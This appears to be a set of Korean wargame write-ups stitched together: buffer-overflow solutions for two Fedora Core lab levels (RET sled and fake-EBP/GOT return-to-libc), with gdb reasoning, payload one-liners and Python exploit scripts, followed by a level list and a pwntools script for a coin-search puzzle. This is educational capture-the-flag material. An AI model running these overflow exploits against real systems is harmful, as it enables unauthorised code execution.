SSo

문제 소스코드다.

이전문제와 다르게 ebp값을 건드리는게 불가능하도록 코딩을 해놓았다.

힌트를 보면 ret sleding으로 풀어야 한다.

우선 예전 lob를 풀 때 RET Sleding으로 문제를 푼 적이 있지만 예전 풀이도 보고 RET Sleding에 대해 검색을 해보았다.

RET Sleding이란 함수가 종료될 때 실행되는 ret의 주소를 return address에 오버플로우를 시켜주면 esp를 계속 올려서 바꾸어 줄 수 있는 방법이다.

우선 gdb로 소스를 까보자.

ebp-264는 buffer 배열이다.

그리고 ebp-268은 save_sfp 변수이다.

즉 다시말해 buffer는 ebp 기준으로 264바이트가 떨어졌으니 256바이트에 8바이트가 더미로 추가되어있는 것이다.

일단 변수의 크기를 알았으니 스택의 변화를 살펴봐야한다.

스택의 변화를 살펴보기 위해 코드의 leave 부분에 BP를 건다.

esp부분을 보자.

문자열 A로 268바이트를 넘겨주었다. 일단 채울 수 있는 버퍼의 크기를 다 채웠으므로 0xfee58d98이 sfp의 값이고, 0x00730e00이 return address다.

이제 이 값을 RET Sleding으로 변조 시키고 rtl을 사용할 함수인 execl의 인자로 줄 위치를 찾아야 한다.

일단 execl함수는 이전 문제처럼 0값으로 인자를 끝내야 한다.

그래서 찾은 부분이 0xfee58d50 ~ 0xfee58d54다.

0xfee58d50는 0x0083ed3c라는 비교적 파일 이름으로 주기에 간단한 값을 가지고 있다.

그리고 바로 4바이트 뒤인 0xfee58d54를 보면 0이다. execl함수의 인자로 주기에 딱 좋은 부분이다.

이제 RET Sleding을 해줘야한다.

ret에 코드영역의 ret를 주어야 한다.

ret가 실행되면 행해지는 작업은 pop eip, jmp eip다.

이 작업을 하면 스택에 쌓인 값들이 pop 되면서 esp의 주소가 올라가게 되고 스택의 있던 값이 실행되게 된다.

아까 봐뒀던 부분이 ebp+8이 되어야 하니까 

0xfee58d50 - 8인 0xfee58d48에 execl함수를 주고

RET Sled를 세번 주면 execl("\xf4\xef\x83\x00",0) 이렇게 RTL이 성공하게 된다.

execl로 실행시킬 파일명으로 쉘을 실행시킬 바이너리를 작성해야한다.

이전문제와 같은 방법으로 진행하면 된다.

이렇게 소스를 작성하고

컴파일 해준 후 심볼릭 링크를 걸어준다. (심볼릭 링크로 굳이 걸 필요 없이 바로 바이너리파일의 이름을 지어줘도 된다.)

payload

./dark_eyes "`python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`"

플래그를 구했다.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

추가적으로 \x20은 공백으로 인식이 되어 오버플로우를 할 수 없다.

위에서는 python으로 만든 문자열에 더블쿼터를 씌워줘서 문자열로 인식하게 했으나 익스플로잇 코드를 작성할때 문자열 적용을 어떻게 하는지 감이 안와서 찾아보다가 굳이 그렇게 하지 않고도 할 수 있다는 것을 깨달았다. 그방버은 무엇이냐면 RTL함수의 주소를 조금 변형시키는 것이다.

이전 문제에서도 execl함수의 주소에 +3을 해주어서 RTL을 실행했다. 이번에도 execl함수를 좀 보고 주소를 땡기거나 뒤로 입력해줄 것이다.

위를 보면 execl함수 전 주소에 nop코드가 존재한다. 따라서 execl-1의 위치를 주게 되면 \x20을 피하고 RTL을 할 수 있다.

exploit code

import struct
import os

p = lambda x : struct.pack('<I', x)

ret_sled = 0x080484b9
execl = 0x7a5720

payload = "A"*268
payload += p(ret_sled)*3
payload += p(execl-1)

os.system("./dark_eyes " + payload[:-1])

오랜만에 푸는 bof문제다..

문제를 들어가면 strcpy함수를 대놓고 쓰는 문제다.

여기서 취약점이 터진다.

하지만 이전에 풀던 lob와는 달리 ASCII Armor와 ASLR, 그리고 스택의 값은 실행 권한이 주어지지 않는 Non-Excutable stack이 설정되어있다.

먼저 ASCII Armor란 라이브러리의 함수 주소의 최상위 부분을 0x00으로 만들어 RTL공격 구성 시 연속적인 페이로드를 작성할 수 없게 만든 보안정책이다.

그리고 ASLR은 프로그램이 실행될 때 마다 랜덤으로 스택의 주소를 배정시키는 기법이다.

마지막으로 Non-Excutable stack은 NX라고도 부르며 스택영역에 실행권한을 주지 않아서 스택에 입력된 쉘코드가 실행되지 않게 하는 보안정책이다.

이 문제를 풀려면 이 모두를 우회해야 한다.

먼저 힌트를 보면 fake ebp라고 한다.

lob에서 fake ebp로 문제를 푼 적이 있는데 그때와 비슷하게 문제를 푸는 것은 아니였다.

일단  NX에 의해서 쉘코드를 스택에 입력하는 방법은 안먹힐 것이고, RTL 또한 ASLR과 아스키 아머에 의해 막힐 것이다.

힌트인 fake ebp를 잘 생각해보면 ebp 값을 속여서 문제를 풀어보라는 의미일 것이다.

찾아보니 주소가 랜덤하게 바뀌지 않는 got영역으로 fake ebp를 이용한 rtl기법을 사용할 수 있다.

그래서 일단 got의 주소를 찾았다.

$ readelf -a ./iron_golem | grep "got" 명령어로 찾는다.

got영역의 시작주소는 0x08049618이다.

그리고 실행함수를 찾았다.

execl함수를 이용했다.

execl함수의 주소는 0x7a5720이다. 

맨 앞 자리는 아스키 아머에 의해 0x00으로 채워져 있다.

이제 페이로드를 작성해야한다.

페이로드 작성에 앞서 

우선 이 문제의 스택을 살펴보자.

스택을 살펴보면 c소스에서는 256바이트의 버퍼를 할당해주었는데 디버거에서는 0x108바이트를 할당해주었다.

0x108바이트는 264바이트다. 즉 다시말해 8바이트의 더미 값이 더 추가된 것이다.

buf[256] | dummy[8] | sfp[4] | ret[4]

이렇게 구성되어 있다.

fake ebp를 하기 위해 일단 ret까지 오버플로우를 줘야하는데 buf에 264바이트의 쓰레기 값을 주고 sfp에 got영역의 값을 주어야 한다.

하지만 그냥 got영역의 값을 주면 안되고 got-8의 주소를 주어야 한다. 그 이유는 execl함수에 인자를 주어야 하는데 이 함수의 인자는 함수가 호출될 당시의 ebp 값을 기준으로 ebp+8, ebp+c ... 이런식으로 주게 되어있다.

아래에서 got의 값을 확인해보자.

got를 보면 0x0804954c가 있다. 이 주소가 가리키는 값을 보자.

1이다.

execl 함수의 사용법은 아래와 같다.

int execl( const char *path, const char *arg, ...);

먼저 첫번째 인자에 실행할 파일의 경로를 가리키는 값이 들어가고, 마지막 인자에는 0을 입력해야 한다.

근데 딱 들어맞게도 got-8을 ebp에 넣어주게 되면 execl함수의 인자로 (got-8) +8 인 got주소가 첫번째 인자로, 두번째 인자로 0이 들어간다.

추가적으로 이 execl() 함수가 실행되면 execl('1'); 의 형태로 실행이 된다.

sfp위치에는 got-8의 주소를 입력하고 ret에는 execl에 +3을 한 주소를 입력한다. execl에 +3을 하는 이유는 지금 ebp의 값을 조작해 놓은 상태인데 만약 execl함수의 주소를 그대로 쓰면 함수 프롤로그가 실행되면서 스택이 바뀐다고 한다. 그래서 +3을 하면 프롤로그가 실행되지 않아 스택의 값이 유지된다.

마지막으로 쉘을 실행시킬 소스를 작성한다.

컴파일 해주고 심볼릭 링크를 걸어주는데 이때 이름을 \x01로 변경해준다. 왜냐면 execl함수의 첫번째 인자로 실행되는 파일명이 \x01이기 때문이다.

이제 페이로드를 작성한다.

Payload

./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`

문제 클리어

-----------------------------------------------------------------------------------------------------------------------------------------

추가적으로 파이썬으로 익스를 짰다.

import struct
import os

p = lambda x : struct.pack('<I', x)

fake_ebp = 0x8049618
execl = 0x7a5720

payload = "A"*264
payload += p(fake_ebp - 0x8)
payload += p(execl + 3)

os.system('./iron_golem ' + payload[:-1])

 [기본 룰]

1. single boot 금지

2. root exploit 금지

3. /bin/my-pass 명령에 LD_PRELOAD 사용 금지

[레벨업 패스워드 확인]

/bin/my-pass

[전용 게시판]

http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship

[몹 리스트]

LEVEL1 (gate -> gremlin) :  simple bof

LEVEL2 (gremlin -> cobolt) : small buffer

LEVEL3 (cobolt -> goblin) : small buffer + stdin

LEVEL4 (goblin -> orc) : egghunter

LEVEL5 (orc -> wolfman) : egghunter + bufferhunter

LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter

LEVEL7 (darkelf -> orge) : check argv[0]

LEVEL8 (orge -> troll) : check argc

LEVEL9 (troll -> vampire) : check 0xbfff

LEVEL10 (vampire -> skeleton) : argv hunter

LEVEL11 (skeleton -> golem) : stack destroyer

LEVEL12 (golem -> darkknight) : sfp 

LEVEL13 (darkknight -> bugbear) : RTL1

LEVEL14 (bugbear -> giant) : RTL2, only execve

LEVEL15 (giant -> assassin) : no stack, no RTL

LEVEL16 (assassin -> zombie_assassin) : fake ebp

LEVEL17 (zombie_assassin -> succubus) : function calls

LEVEL18 (succubus -> nightmare) : plt

LEVEL19 (nightmare -> xavis) : fgets + destroyers

LEVEL20 (xavis -> death_knight) : remote BOF 

from pwn import *
import re
import time

def main():
        r = remote("pwnable.kr", 9007)
        res = r.recvuntil("Ready") + r.recvuntil("\x0a")

        print res 
        time.sleep(3)
        for i in range(100):
                res = r.recvuntil("=") + r.recvuntil("\x0a")
                info = res.split(" ")
                p = re.compile("\d+")
                for i in range(0,2):
                        info[i] = p.findall(info[i])
                N = int("".join(info[0]))
                C = int("".join(info[1]))

                print "N : {0}, C : {1}\n".format(N, C)
                src = 0 
                des = N 
                chance_check = 0 

                while src <= des:
                        chance_check += 1
                        dat = ""
                        mid = (src + des) / 2 

                        for i in range(src, mid + 1): 
                                dat += str(i) + " " 
                        r.sendline(dat)
                        weight = r.recv()

                        if int(weight) == 9:
                                break
                        if int(weight) % 10 == 0:
                                src = mid + 1 
                        elif int(weight) % 10 == 9:
                                des = mid - 1 

                for i in range(C - chance_check + 1): 
                        if int(weight) % 10 == 0 and i == 0:
                                dat = str(int(dat)+1)
                        r.sendline(dat)
                        res = r.recv()
                        print res 
        res = r.recv()
        print res 

if __name__ == "__main__":
        main()